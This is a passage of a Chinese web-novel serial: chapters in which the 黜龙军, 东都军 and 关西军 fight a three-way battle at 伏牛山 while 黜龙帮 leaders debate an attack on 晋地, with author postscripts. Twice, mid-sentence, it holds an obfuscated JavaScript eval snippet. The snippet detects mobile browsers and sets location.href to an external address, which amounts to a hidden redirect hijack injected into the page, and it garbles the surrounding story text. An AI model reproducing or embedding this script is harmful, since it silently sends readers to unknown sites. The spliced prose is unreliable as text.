中午的时候,突利在被苏靖方亲自牵着手的情况下见到了并不算姗姗来迟的李定,坦诚说,这位可汗并不是很懊丧……一来,即便是黜龙军主力比想象中晚了一些,而且并没有合围什么的,依着昨夜之混乱,他的王庭也不大可能幸免;二来,乃是此时他终于确定,成义公主这个大魏余孽到底是逃出去了,倒是省的忧心她被黜龙帮砍了。 夫妻一场,总是有感情的。 PS:感谢新盟主老爷太虚双刀时不时订阅一章的上盟。 第一百章 送乌行(10) 大年初一,三更天往后的时候,方城城门楼里的张行做了一个梦,一个很奇怪的梦。 梦里不是什么特别的人和事,而是各种各样的景物。 明明外面的土地被坚冰与硬雪覆盖,但他还是看到了冰雪下黑色的土地,土地中的湿润,甚至是温暖,以及温暖中的虫蛇蛙蚁的呼吸,各类种子的萌动。 往天上看,明明是初一,他竟然能看到双月如轮。 非只如此,白月如玉,皎皎可见,其上暗明交织,清晰如列;红月则如血如焰,非光非实,深邃不可探。 夜空之上,四野之间,群星如印,每一颗星星的位置都与原本的世界无二,但其中一些却裹着浓郁的天地元气,而另一些则只是光芒点点。 再往上,虚空如墙又似壳,再不能寸进。 转身向下,平野广阔,山峦如皱,江河熠熠生辉……尤其是据说斩杀了龙填入其中的汉水,更是宛若天上星汉一般耀眼。 至于说淮水畔的那团迷雾,此时封冻状态下大河的汹涌,似乎都能有所映照,再往外看,虽然有所感应,却已经目力难及。 于是又往下面来,回到南阳盆地周边,在盆地最北端的一小片区域内,两团明亮的光簇隔着盆地相对,而并没有让人觉得意外的是,光簇较为暗淡的那个,竟然是西面伏牛山畔的营地。 再往下来,回到方城,城内外营地连绵不绝,鼾声、呼吸声、刁斗声、窃窃私语声,包括一些微弱的哭声,都尽入耳中。 当他尝试“看”向自己的时候,张三郎自家翻身坐了起来。 张行很清楚是怎么一回事,他的修为因为什么契机正在大宗师这个界限上跳动。 想想也知道了,徐世英指挥一场战役,撑住了局势,就已经晋位宗师,他张行作为黜龙帮首席,大明政权实际军政首脑,在控制了那么多地盘、有效统治了那么多人口、汇集了那么多力量以后,而且还在典型的乱世争雄局面里控制住了局势,若不能接近大宗师反而奇怪。 之前修为浅薄,还闹出过因为不明自己观想对象误以为自家还是成丹的笑话,此时到底是不能欺瞒自己了。 唯独修为越高,知晓的便越多,能力越强,责任也就越重,倒是让人生起更多的心思。 天亮后,局势完全如同之前预料的那般。 黜龙军这里在加紧砍柴、运送物资以作新年赏赐,而伏牛山的关西军也并没有趁机侵占昨日忽然被黜龙军扔掉的武川城,但也果然没有退却。 不过,到了晚间的时候,一点小意外出现了,司马正比预想中的更加激进——他的东都军主力先锋是下午抵达鲁阳关的,照理说应该就地休整一日,翌日再昂然南下武川城。 可是,司马正直接率领极少部分先锋精锐南下了。 当夜就占据了已经空无一人的武川城。 坦诚说,这是一个战机,司马正到底是远离了他立塔的东都范畴,而且孤军深入,如果张行和白横秋有默契的话,就是今夜,趁机验验这厮斤两,高端战力与军队一并出击,联手把他打回去,事情就能恢复到可控的局面。 只是,张行和白横秋似乎都没有这么干的意思。 司马正在武川城头等了一夜,结果自然让他比较失望……临到天明的时候,其人下达了军令,除必要部队留在鲁阳关确保后路外,其余大军依旧大举向前。 大年初一,南线无战事。 当然,这一天河北也无战事,具体来说,黜龙帮统治的最最核心区域,也就是整个河北,其实都是祥和一片。 从河内撤军开始,在全天下几乎都在战争与军事对峙的时候,他们彷佛与世隔绝一般,从十一月到腊月,再到新年正月,就是在享受冬闲与年节。各种各样的祭祀活动,扩大到整个河北地区的夺陇赛,自发延续和组织的大小相亲会,繁盛的市场活动。 而在邺城这类大城市,这一个多月间,这类经济文化活动某种意义上来说已经热烈到一种令人匪夷所思的地步,虽说黜龙帮坚定执行着均田授田制,可穷富总是有的,闲忙也是有的,结果就是到了这里,好像无论是官吏、军士、农人、工匠、商贾,都在热切的参加和组织着类似活动,毫不顾忌的投入时间、金钱与精力。 就好像,就好像在狂欢一样。 自小在东都长大的月娘都觉得邺城人疯了……当然,东都人也疯过。 “不是疯了,我们大行台这边也想过原委。”吞风台上中间的大堂内,陈斌笑着落座,将佩剑泰阿解下放在大圆桌上,对着对面之人稍作解释。“一来,还是河北士民觉得咱们大明能立得住,所以敢做买卖,敢与军士婚姻;二来,也确实是晓得,这种安生日子过不了多久,南边大河已经有凌汛迹象了,凌汛一结束,能不能等春耕过去再出兵都不好说的……所谓既有些信任局势,又忧心个人在局势里的前途,这才有些热切。” 对面那人点点头,然后四下张望,眼瞅着最忙碌的魏玄定也满头大汗走了进来,却是不顾什么仪程,直接开口了:“如此说来,这邺城人也是有见识的,诸位龙头,我到此处目的很简单,我以为李龙头那里既然击破巫族王庭,那我们也应该立即出兵晋地做呼应!” 没错,李定攻破王庭的事情已经传过来了,但不是攻破中部王庭,甚至不是攻破东部王庭,而是攻破、逼降东部王庭主力这件事情,如今通过苦海,飞速传到了邺城这里。 而说话的人不是别人,乃是黜龙帮资历成员、张首席嫡系中的嫡系,如今的晋北行台龙头周行范。 周龙头态度坚决,意志强烈,消息按照之前的规制抵达他的晋北辖区后,便星夜兼程,不顾年节,打马而来,要求出兵。 大行台的几位龙头面面相觑,便是魏玄定都有些扶额之态,因为大家都知道,这位的意见不容忽视。 “晋北行台出兵我们自然没有意见,周龙头有行台自专之权,当日设置晋北行台本身也有为了配合巫族行动的缘故……”片刻后,陈斌开口,言辞谨慎。 “不是我们一个行台出兵,若是如此我也不来了,我以为应该立即动员河北主力,全军猛扑晋地,尝试夺取太原!”周行范认真更正。 “周龙头,关于李龙头那里,我们昨日其实临时讨论过这个事情,包括出兵呼应肯定也想过。”陈斌迟疑了一下,也认真解释起来。“但大行台这里都认为有两条必须要考虑……其一,是李龙头那边的具体情况,他打败都蓝后,要多久才能控制和整合东部巫族的战力,要不要对中部结盟,要不要对中部动手?不然的话,他这边南下了,前面被关西军堵死,后面被巫族袭扰其后,是要全军覆没的,所以没必要太着急做呼应;其二,首席之前专门让河北主力休整,自己带领河南各部去淮西-南阳周旋,现在马上要凌汛了,难道不是要等春耕后大用河北主力的意思吗?我们如何能擅自更改全局计划,而且又何必急于一时呢?” “而且,如果河北主力再动,不应该是跟河南部队合力去取已经成孤城的东都吗?”魏玄定也缓过神来,插了嘴。“东都一下,天下大势便转到咱们这里了,这是我们战前开大会的既定大略。” 周行范认真听完,目光瞥过默不作声的徐世英、雄伯南,心知肚明,军事的问题必须要说服徐世英,但陈斌这里也必须要得到态度才行。 一念至此,其人干脆来言:“大行台这话是有道理的,但我不赞同……先说李龙头那里,李龙头那里确实要考虑后路,而且隔着一条苦海,我们也的确不可能及时知道他动向的,可无论如何,不作为才是不对的,尤其是机会已经出现,我们可以白费力气,但不能耽误战机……诸位想想,现在动员主力去打山西,一边是大河凌汛,一边是自己后背上的巫族出了岔子,他们必然惶恐,以至于府兵主力不能两顾。所以万一李龙头那里果然及时出兵,便可成大事。” 在座的四位龙头都默不作声,不置可否。 “其次,也是最关键的。”周行范扫视了身前四位龙头一眼,认真言道。“为什么一定要先打东都?为什么一定要把主力拿去打东都?” 其余四人各自一愣,其中三人马上有了反应,陈斌欲言又止,但很快便有些茫然,然后本能与魏、雄两人一起去看徐世英。 至于徐世英徐大郎,此时竟然懵住,久久不做回答。 “诸位。”周行范肃然道。“我来说之前为什么大家都觉得,而且确实开了会决议要先打东都……因为我们真正的对手其实是关西,只有关西有资格跟我们争天下。而且关西当时有一位大宗师和一位卡着门槛的宗师,以及多位老牌宗师,还有十几万好大名头的关陇府兵,我们自忖不能直接击败对方,只能通过吞并两家之间占据了核心位置并且有大量人才、府库的东都来分胜负手。 “但现在呢?现在一开战,我们才发现,关陇人确实有战力有实力,但他们力大却不能持久,战强而不够灵活,行动僵硬,后继无人。偏偏首席的方略是对的,我们不停的拉扯战线,四面出击,逼的他们左支右绌,就好像一个人把四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈斌没有驳斥,但也没有开口,而是目光扫过几人,在场五人,周、徐两位军务上的人都同意,自己一句话便可…… “那就这么干!”魏玄定忽然站起身来。“首席苦心培养诸位,又设吞风台在这里,难道是要我们聚在一起推卸责任的吗?” 陈斌旋即抓住了身前之剑:“说的好!雄天王且去,万事大行台一力担之!” 雄伯南见到如此,毫不迟疑,什么也不收拾,当场便卷动一片紫霞自吞风台而走,引得邺城内外人人侧目,指指点点,议论纷纷。 大年初二,河南依旧无战事。 但是,随着东都主力进一步前压到武川一带,设立前哨,控制道路,伏牛山那里,关西军明显产生了动荡——之前的谣言以一种诡异的模式复生了。 军中流言,张行让开武川,司马正压上,正是要履行之前调解不成的最后通牒,两家一起出手,惩戒关西人。 “怎么会有人信这么蠢的流言?”张世静无语至极。“黜龙贼跟东都贼怎么会互信呢?” “未必……若是司马正现在是讲道理的,他就不该来。”刘扬基去押运新一批粮草了,来的是最后一批援军的首领白立本,他却有不同的见解。“这厮之前就行事诡异……他爹在江都要**,他却从徐州跑了,这算什么事?要是当时他留在徐州,替他爹约束禁军,从容北归,张行敢拦?现在他们的地盘只剩一个东都?只怕整个河南都是了,至不济也要与我们争夺关中的。” “难道……”张世静紧张起来。“他真要来打我们?!” “他敢来,朕便敢战!”白横秋猛地抬头,双眉如剑。“朕倒想看看,离了东都,他还有几斤几两?!” 大年初三,艳阳高照,雪花稍微消融,武川在冒了一整个早上的炊烟后,大军两万众列次离开,眼瞅着就渡过依旧封冻的淯水,向伏牛山而来。 而早在早上便察觉到不对的方城一带,黜龙军稍晚了一个时辰,也以阚棱、王雄诞两营为先锋,匆匆出兵向西,张行亲自带领剩余八营并踏白骑,随后出兵。 战事忽然就开启了。 或者说,司马正此番既然出兵,就没有迟疑与犹豫。 倒是伏牛山上的关西人,在晓得两军此时往自己这边开来以后,是真有些摇摇欲坠了……真要联手打自己?! PS:一个人在新家吸甲醛,没有孩子打扰,没有猫,昨天晚上十点到现在,中间陆续睡了十二三个小时……睡眠质量很奇怪,照理说应该一觉深沉,但总感觉自己有事,屡次惊醒,然后又尝试去睡,反反复复。 第一百零一章 送乌行(11) 艳阳高照,大军如龙,金戈铁马,正从结冰的淯水上经过。 主帅司马正停在淯水的冰面上,忽然翻身下马,用手捏了一下有些颜色奇怪的冰渣,甚至不嫌脏污,拿舌头舔了一下。 “流不尽的英雄血,竟然也是臭的。”司马正一声叹气。 旁边立在马上的牛方盛闻言嗤笑一声:“元帅这话说的,能不臭吗,这都几天了,又不是不出太阳?倒该计较一下这淯水上的冰被这么糟践,万一晚上回来的时候冰薄了,踩破了,又该如何?” “真到了那时候,该急得是张行。”司马正不以为意。“我倒是巴不得今日冰就撑不住,我们可以直接从淯水西侧北归,他呢,得耗费真气做冰桥吧?” 牛方盛笑了笑,继续来言:“未想到张行竟这般豪气,本可以临滩观龙斗,却非要长途跋涉来此间参战……他不会到淯水不动了吧?” “那正好。”司马正正色道。“那我们咱们先破白横秋,再回身破他!远离驻地,他不敢恋战,傍晚前必撤!” 牛方盛点点头:“元帅睿断!” 随即,打马越过了司马正。 一直在一旁没有吭声的王代积眯着眼睛目送牛方盛离开,语调怪异:“元帅,你不觉得这些禁军出来的人一个比一个无礼吗?” “弑过君的,心里就没了什么顾忌。”司马正不以为意道。“而现在我不能保住淮西、南阳诸郡,为他们提供军用民用的物资,官职也变得无名无实,自然对我也有了不满,再加上平素他们只要不违背法度,我也不愿意干涉他们……自然会一时赳赳。” “不该来打的。”王代积艰难言道。“不该被他们一起哄就答应出兵的,一来,这仗不知道有难;二来,也坏了元帅权威。” “出兵是我本意,真以为他们谁能逼迫我?”司马正难得表情生动,嗤笑了一声。“人家都打着你的脸骂我独占东都是遗祸苍生了,我若不出兵,让三家一起刀兵上相见,岂不让你白挨了打?” 王代积一愣,旋即苦笑:“元帅!司马元帅!张行是猜到雪地里打仗伤亡多,急了眼,乱发脾气,他自家聪明人如何不晓得,东都这里自曹林遗留下来,又纳了江都回来的禁军,便是这天下原本没有你这个人,怕是也有个别人在这里遗祸苍生……如今你来当东都局面,怕是要比其他人来做少死多少人。” 这次轮到司马正上下打量起了王代积,而且打量了好几个来回,打量的王老九浑身不自在,以至于直接出言诘问:“元帅看我做甚?” “若天下无我,说不得坐镇东都的是你呢。”司马正微笑以对。 “不是李枢吗?”王代积也被逗笑了。“此人刚刚来降才许久,元帅就让此人在身后坐镇看管后路了,再过几日怕是要代替七将军防卫东都了。” “若指望李枢有龙相,那得天下无有张行!”司马正大笑起来,然后转身往战马上取下了自己的头盔。 “都无元帅跟张行了,那干脆也没有白横秋、白三娘便是。”王代积实在是掌不住。 “还得没有三辉四御!”司马正一边笑着,一边终于戴上了自己的头盔。“只是不晓得,真到了那个时候,天下又会生出什么别的英雄了,你王老九未必是赢家。” 说完,翻身上马,金色的兽纹展翅龙面盔在太阳底下闪闪发亮,昂然越过了淯水。 西南面数十里的地方,张行已经能清晰的感觉到了那具耀眼的盔甲,同样,他也察觉到了伏牛山上铺陈下来的网格……虽说他的能力确实是偏感知一些,但其余两人应该也能察觉到他了。 只是不知道自己在另外两人的真气视野中会是个什么样子? “刚刚天王说什么?”回过神来,张行复又看身前之人。 “我说,要不要到淯水边先停下观战?”雄伯南肃然道。“让他们先打……万一两家是暗地里做了勾搭,是想引诱我们怎么办?” “有你说的这种可能,但很小。”张行摇头解释道。“依着现在的情势,更多的是司马正抵达武川,因为要维系军队求战欲望和士气,再加上他自己也不好过久远离东都,所以迫切求战,而伏牛山更近,仅此而已。这个时候,他知道我们来,应该是想先迅速击破关西人,再回头迎战我们才对。可如果我们停下来观战,只怕他们反而会迟疑,会留有余地,说不得就会打不起来。” 雄伯南想了一下,继续言道:“那我留下,多一份战力总是好的。” 张行迟疑了一下。 雄伯南立即跟上:“我现在回去,后日晚间才能到邺城,出兵也是第二天,跟你走这一遭,大不了夜里到邺城便是。” 张行这才无话。 原来,雄伯南是路上追上来的,而张行听完汇报,抢在军情正常送达前便晓得李定多日前破了东部巫族主力,再加上大年初一那天夜间之感触,自然明白,北面李定应该确实打开了局面……事到如今,确实可以像小周建议的那般,直接往晋地发河北主力就行了。 所谓缠住一切能缠住的敌方有生力量,拼尽全力去让对方军事布置与**动员能力僵化,这个时候只要捅穿彼辈任意一处要害,很可能就会全局压倒。 这种情况下,完全可以暂时放弃预定的东都战场。 于是立即同意了大行台那边的计划。 但反过来说,眼前的战事却依旧有意义。 战场逻辑也没变,因为从长远来看,黜龙军的总体后勤与补员优势没有变,从战略上来看,统一天下的仗不能投机取巧,更不能想着回避。 所以,就是要趁着东都沉不住气和司马正特有的思想动态,坚决的参战,从而促成三家混战,削弱其余两家的战力! 就这样,正午时分,微微融化的积雪中,东都军前锋的外围两百骑与当道立垒的一支千余人关西军正式发生交战。 两刻钟后,东都军前锋三千骑在薛万平正式抵达,然后迅速下马攻垒,加入战斗。当面的关西军不敢久战,转而放弃营垒和道路,逃往伏牛山大营。东都军紧追不舍,伏牛山大营见状毫不迟疑派出了同样三千人的援军去做接应,同时以一位中郎将为侧翼,尝试抢在东都军中军主力抵达之前完成绕侧包抄,从而吃掉或者击退对方先锋。 很快,东都军前锋有所察觉,却没有后撤的意思,而是派出信使要求后方主力迅速支援。接到消息的东都军主力两万众则在中军大将屈突达的军令下全军加速,直扑伏牛山而来。 与此同时,黜龙军主力从更下游区域,正式穿过了淯水冰面,距离战场只有二十里。 而又只是过了一刻钟,黜龙军开始与东都军发生交战。 具体来说,是一支黜龙军骑兵在野地里顺着河道旁的官道遭遇到了一支相向而行的东都军骑兵,双方从哨骑探知前方情况开始就没有过退缩,而是立即在官道上进行了哨骑战,并迅速形成了小规模骑兵混战,与此同时,双方大部队都没有停下的意思——只不过,战场不是在南阳地区,而是在几百里外的襄城一带。 具体来说,是颍川郡襄城县挨着旁边襄城郡的汝水最上游北岸地区。 没错,襄城县不属于襄城郡,而属于隔壁的颍川郡,这是典型且常见的地名漂移现象,而这个奇怪的地方正在双方实控区交界处,属于鲁阳关侧后方,这是一个意外的新战场,一个意外的遭遇战,但毫无疑问,他属于这次南阳会战的一部分。 黜龙军方面的行军总管是刘黑榥,而对面的东都军将领应该是尚师生。 前面已经开始成建制交战,黜龙军三位领军头领却还在后方议论。 “尚师生如何在这里?”张公慎最为谨慎。“他无论是想支援司马正还是想保护司马正后路,都该去襄城郡里待着,如何来了这里?” 这是最大的问题。 “不晓得,但此时难道还能撤?!”刘黑榥有些烦躁。“他们都是骑兵,我们撤了,被他们一口气推到颍川内里,甚至淮阳、谯郡怎么办?首席让我们来是做什么的?” “肯定不能撤,也没人说要撤,但尚师生肯定有倚仗。”秦宝接口言道。 “他的修为不就是倚仗吗?”刘黑榥冷笑道。“老头子,修为摸到宗师边上,自以为成丹无敌,还有四宝在身,晓得我们成名的大将都在南边,连秦二郎你都在南边,这才肆意妄为来了……算了,打吧!反正咱们还有后手!不然咱们怎么敢往襄城郡里跑的?” 张公慎丝毫不气,只是点头:“只是可惜,要知道他来这里了,咱们直接去了龙囚关也能得手……也罢,动手吧!” “你们先去。”秦宝努嘴道。“前面把战线弄乱,我偃旗息鼓,带着踏白骑从后面绕过去……他没有四宝了,只有二宝,龙驹本是我的,没有头盔,感知也差了许多。” 其余两人自然无话可说,战斗规模立即开始扩散,双方各自数千骑兵迅速在汝水东北侧的田野中扩散交战……然后以双方指挥官迅雷不及掩耳之势打成了烂仗! 汝水到了这一段,已经非常窄小了,河面上谁也不敢骑着马上去,与此同时,旁边田野里冰雪融化的却比想象中要快,上面还是白白一层呢,人走着都没事,可战马载着甲士一踏上去,直接就踩穿了冰雪,陷入在下面湿润的田土里,甚至有的马腿直接就伤了。 这跟之前河堤旁的官道上根本不是一回事。 连尝试绕后斩首的秦宝以及踏白骑都一时不知所措。 尚师生也懵了,只能皱着眉头下令部队维持战线、往后收缩——早在哨骑相互探知对方存在后,他就已经向河对岸请援了。 且说,这次战斗起源于尚师生的自作主张,他接到来自于兵部尚书李枢的军令,让他前往襄城郡郡治布阵,然而,他从伊阙关出来的时候还笑嘻嘻,离开伊阙后却心里腻歪的不得了。 这也不怪他,身为可能是东都资历最深的一位老将、大将,非但没有成为前面大战的中军主将,甚至要听命于一个降人,就这么负责后军的一个节点? 不腻歪就怪了。 故此,昨日抵达襄城郡郡治承休后,他稍微观察了一下后军军事布置,却起了个心思,乃是准备打个糊涂名号,去汝水外侧的隔壁襄城县。 道理他都想好了,汝水这么单薄,不占据外侧的襄城县,怎么能保护好大军后路?所以,他看到襄城二字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168057|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便以为是要去襄城县。 这不能说有错,尤其是他真遇到了相向而来的部队。 只是这仗一打,便成了烂仗,恐怕只能等待援军接应,然后在傍晚前各自撤退,这不免让人更加恼火。 日头偏西的时候,南阳的盆地的黜龙军前锋终于跟伏牛山南麓山脚下的关西军向城守军发生接触……而黜龙军主力开始在城外用干粮和饮水,准备参加战斗。 “让向城守军撤回来。”虽然局势还没有发生什么质的变化,但白横秋委实已经焦头烂额了。“收缩兵力到山上!” “陛下。”白立本严肃提醒。“臣知道陛下肯定已经考虑,但臣不能不做提醒……如果放弃向城,而被张行占据的话,那我们就失去了对南阳方向的控制,南阳的淮南军会立即倒向黜龙帮!” “他们控制不了。”白横秋脱口而对。“司马正和张行都是远道来战,只要天黑前他们无法攻破我们的大寨,那司马正肯定会撤走,张行如果想保住向城的话,就得有大量的后勤援助越过淯水来做支援,否则的话向城反而会成为瓮中之鳖的瓮……我可以亲自断他后勤。” 白立本点头:“陛下明白就好。” 随即,其人亲自转身下令,让部队放弃向城。 白横秋稍微松了一口气,他知道白立本这是为他好,而他复盘出自己方略后也着实松了口气。 但是下一刻,其人猛地一惊,直接走出帐篷,往山下看去,而等他走出来以后,山麓下方的战线上方才响起惊涛骇浪一般的呼喊声——有人在呐喊,有人在惊呼。 张行并不饿,但还是强迫自己跟其余军士一起坐在向城东南面用餐,但现在,他站了起来,而且是跟白横秋一样,在惊涛骇浪抵达之前就站了起来。 待身侧喧哗声响起,张行再一次见到了那个金甲巨人。 没有上次那么高大,只有数丈高,但栩栩如生……几乎每一个甲片都是真正的金铁构筑一般,头盔上的龙纹与凤翅纹理也清晰可见,胸口的护心镜更是如镜子一般可以映照周围景色,如果不是手中的那十丈长的长刀和面容上依然有些模糊,简直就像是一个真实的巨人出现在战场上一样。 非要说清楚这个形象的特质就是,好像,好像祂不再是之前河内战场上那个神灵了,而像是一个人了,只是因为太阳映照而闪闪发光罢了。 但是,祂却因为更像是人,从而引发了战场上所有敌人更大的恐惧,以及所有同列战士更多的敬仰。 张行拿着饼子,努力咀嚼,同时望着对方那闪亮的头盔直接扑上山麓。 这么近的距离,这么清晰的视野,现在,他不必猜想,而是可以下结论了。 司马正就是那个意思,他已经知道自己的命运是什么了,他知道自己会败退,他知道自己是四御留给预设天命胜利者的既定奖励,但如果那个命运真的到来的话,他还是会坚定穿戴上自己闪亮的盔甲去迎战。 这不是遵从命运,成为命运的玩物,而是在明知道一切的情况下,坚信自己经历的一切和自己本身都是有意义的存在,从而坚定选择了属于自己的命运。 这个行为,是对四御的嘲讽与反抗。 想到这里,张行看了看天,此时艳阳高照,三辉存世,四御退避。 远处的山麓下,司马正挥舞长刀,直接劈碎了辕门……而在真气视野下,白横秋的棋盘直接被砍碎了一角。 白皇帝不敢迟疑了,半空中的棋盘以及数不清的棋子开始凝结,和整个军队、大营形成一体。 另一边,张行站着吃完了饭,又强行喝了半袋水,这才喊来了三位龙头……河南这破地方,兵弱、营头少,但就是龙头多……然后下达了简单军令: “按照之前商议,依旧是单通海指挥全军,牛达为副贰,伍惊风随我入踏白骑……只是此战司马正既然一马当先,白横秋也丝毫不让,我们也不能示弱,再加上向城其实无用,甚至彷佛诱饵……既如此,我与伍龙头还有两位宗师率踏白骑越过向城,直趋山麓,单、牛两位统后军分左右翼绕城随上!天王不要动,留作预备队和傍晚前断后,可有异议?” 单通海、牛达、伍惊风面面相觑,雄伯南、牛河、魏文达神色严肃,尉迟融跃跃欲试,可这在张首席身侧的七人却都没有言语。 “开战吧。”张行拔出那柄被真气滋养到闪闪发亮的弯刀哈了口气。 明明因为半日艳阳和一路奔驰有些燥热之态,但此时一口白气哈出来,周围却重新开始寒意逼人。 一刻钟后,在白横秋与司马正的瞩目下,一团久违的白雾忽然在向城方向出现,然后带着跟整个午后气氛完全不搭的寒气朝着山麓滚来,临到山麓下的营寨,方才伸出一只金色的龙爪攀住了伏牛山。 却又迅速消失在滚上来的白雾中。 震天的喊杀声中,两位大宗师全都色变——不知不觉,竟至于此吗? PS:这次签名纸是真来了,真要干活了,下章可能要缓缓,但离奇的是今天早上同时又来了另一位书友的水蜜桃,我接到水蜜桃的时候都懵了,要不是后来发现还有俩快递,真感觉跟狼来了一样。 第一百零二章 送乌行(12) 下午时分,伏牛山上,三方主力全线交战,而关西军几乎是上来便死伤惨重,摇摇欲坠,竟陷入到了一种负隅顽抗的地步。 原因不言自明,张行在进入战场前专门调整了攻击方位,使得关西军在前期不得不承受两面夹击之势。而偏偏黜龙军与东都军都有绝对的强点,让关西军根本无法阻拦对方的强点突击与大部队随后清扫。 战线被撕扯开来,防御工事被轻易占据,指挥体系崩塌,一多半部队努力往山顶皇帝那里靠拢,靠着与天上棋盘的联系做支撑,剩下一小半则已经被黜龙军与东都军实际上进行了分割包围,连棋盘都没法依靠,直接沦为狩猎对象。 混战中,到处都是故事。 屈突达的中军大举冲击郑善叶的防区,侧翼的大太保罗方奉命支援,迎面遇到了逃散下来的义弟马开,薛万平杀的正酣,一抬头看到亲兄弟薛万备的旗帜。 只能说,东都跟关西这些人,真的是打断骨头连着筋,昔日之兄弟、义兄弟、同僚,一朝便要刀兵相见。唯独事到如今,若说没有什么觉悟,反而奇怪。 于是乎,旗帜倒卷,甲胄绽开,残肢断臂,血流如潮。 当然,黜龙军这里倒也不是多么立场超然,张行在浓雾中,一抬眼就看到了司马正侧后方指挥司马氏亲卫的故人王代积……更不要说,他跟司马正、白横秋怎么都算是瓜葛难断的。 而且,战场上打的最激烈的就是他们三人。 白横秋的棋盘铺陈了全局,只要没被分割包围的关西军都能牵引,反过来说,所有对关西军的打击本身就是与他抗争……而且平心而论,若非是他,就这个局面,关西军早就全军崩溃,任由其余两家屠戮了;司马正则是另一个极端,他的外显盔甲就在他的身体外周,行动自若,所当者辟,宛若一个身材极其壮大、战力也及其强悍的战士,亲自披坚执锐、冲锋陷阵一般。 相较而言,张行似乎还是老一套。 背靠两位宗师与数百踏白骑,然后是白雾,是若隐若现的辉光真龙,真龙的形象似乎已经固定了,据说是有什么依照……但实际上,在场的两位大宗师第一时间就都感知到了,不一样了。 白横秋最先感受到压力,不感觉到压力就怪了,那铺陈而上,横扫千军的气势,他比谁都感受的清楚。 而在那团白雾裹上山麓后,司马正也毫不迟疑掉头杀入其中,然后立即亲身验证了自己的猜想——白雾不是真正的雾气,是真气显化的结果。 想想也是,踏白骑好大的名头,但那不过是张行修为不足时,只能以寒冰真气做阵底结阵,然后在寻常气候下冷热交加引发的正常雾气;等张行修为摸到宗师后,加上他真气充盈,往往观想一外显就变成了纯粹的真气巨物……比如很早之前在天池,那就是一只辉光巨龙;数月前在河内,就是一个随时显化真龙的巨大真气团,雾气早就没了。 而到了现在,忽然在雪都没化的情况下冒出持续性的白气,一看就有问题。 但是为什么? 为什么要显化白雾?他张行观想的不是真龙吗?便是如传闻中那般观想是至尊,可如何来的白雾? 是呼云君? 这是司马正在雾气中唯一能想到的可能性,但没道理呀?呼云君的形象跟一直以来的金色真龙差太多。 不过,这雾气确实有些门道,即便是司马正借着那数丈高的巨人都无法窥破这踏白骑的军阵……这种视野的阻隔是真气层面的,反倒是他本人立在阵中可以凭借着肉眼去观察阵内局势,然后立即察觉到另一层不对劲的地方……阵内的踏白骑行动过于行云流水,他根本摸不到截杀对象杀个痛快! 牛河的绳索怎么这么灵敏了,他也要到大宗师了? 正想着呢,须臾一黑刀自雾气中劈来,势大力沉,司马正不惊反喜,身外巨人挥刀相对,两刀相交,竟如金铁交鸣,瞬间震破了周边雾气。 司马正四下去看,黑刀复又消失,但瞥见十数名踏白骑就在不远处,立即提刀冲去,却不料一道旋风自侧面而来,猝不及防之下,外显化身竟然被吹了个趔趄,然后坐视白雾再来,遮蔽了一切。 司马正终于意识到哪里不对了——他之所与黑刀做格挡,因为他知道黑刀是河北早年便成名的宗师魏文达,怕托大出岔子,事实上这黑刀一击果然厉害;而之所以放任旋风没有躲避,是因为他知道这是伍惊风!伍大郎的修为、能耐他一清二楚,便是配上这大阵又怎么可能吹得动他的外显化身? 但还是吹动了。 所以,张行的这真气大阵对伍惊风的提升已经不是一点两点,不是两分三分,而是全方位的提升了。 就好像,就好像,这不是四五百奇经,而是一千奇经的大阵一般! 一念至此,其人心惊之余,干脆故技重施,留下身外化身在此对战,自己单人一剑凭着肉眼去往阵中来探查窥视。 然而,他越是在阵中往来,越是觉得惊悚。 因为他在用肉眼分辨、经验分析后,怎么看怎么觉得这阵中最多就是之前的五百骑,甚至更少! 但为何这大阵有如此气势?那白雾、黑刀与伍惊风的狂风自己可是亲身经历的,做不得假!非只如此,这期间,他还遭遇到了尉迟融的袭击,竟也不容小觑! 找了数次,就在大约望见朝着自己冷笑的张行之际,忽然间,随着阵外一片呐喊,司马正心惊肉跳,陡然醒悟,晓得自己入阵许久不能建功,其实已经算是被困了,外面战场也已经被人所趁,于是赶紧转身连着身外化身一起顺着山势往正上方脱阵而去。 须臾脱困,果然见到黜龙军气势如虹,非但侵略关西军阵地如火,竟也趁机直扑东都军各处,一时间三家战线犬牙交错,尤其是一支打着“牛”字旗帜的精锐,居然尝试自山脚绕后,将整个东都军包裹其中。 司马正大怒,当即翻身而下。 却不料身后摆出真气大阵的踏白骑眼见如此,竟然转身去攻杀东都军中军腰腹,逼的司马正复又空中折返,只在阵外与大阵拍出的金爪、黑刀相对,竟凭借一人阻拦了整个真气大阵的前进,而黜龙军那支深入过度的兵马明显也意识到什么,赶紧后撤。 东都军与黜龙军打出了真火,白横秋却在更高处看的目眦欲裂,心惊难平。 原因很简单,黜龙军参战以后,关西军被两面夹击,固然死伤惨重,但仔细想想,只要能形成三家混战,而自己立定了上方,反而能够维持今日战事的相持局面,确保关西军不被彻底崩盘。 所以,他并没有过度忧虑战局。 但是现在,借着已经在开战初试出斤两的大宗师司马正为中介,他意识到了一个新的、对他而言更加致命的事实——张行很可能要晋升大宗师了! 这比什么都重要。 因为这意味着,长久以来,关西军与黜龙军之间最后一个理论上的战力缺口被补全了。 意味着关西军任何一点优势,哪怕是心理优势都不复存在……与之相对的,黜龙军长久以来表现出的人力、物力优势在这一轮南阳攻势中本就展现的淋漓尽致。 甚至更直接一点。 长久以来,大家讨论起关西和河北的时候总是说,关西比河北要强三分,但河北的黜龙帮整体上更年轻,而且有着多了足足三五年的强制筑基优势,所以河北后续的实力会更强。 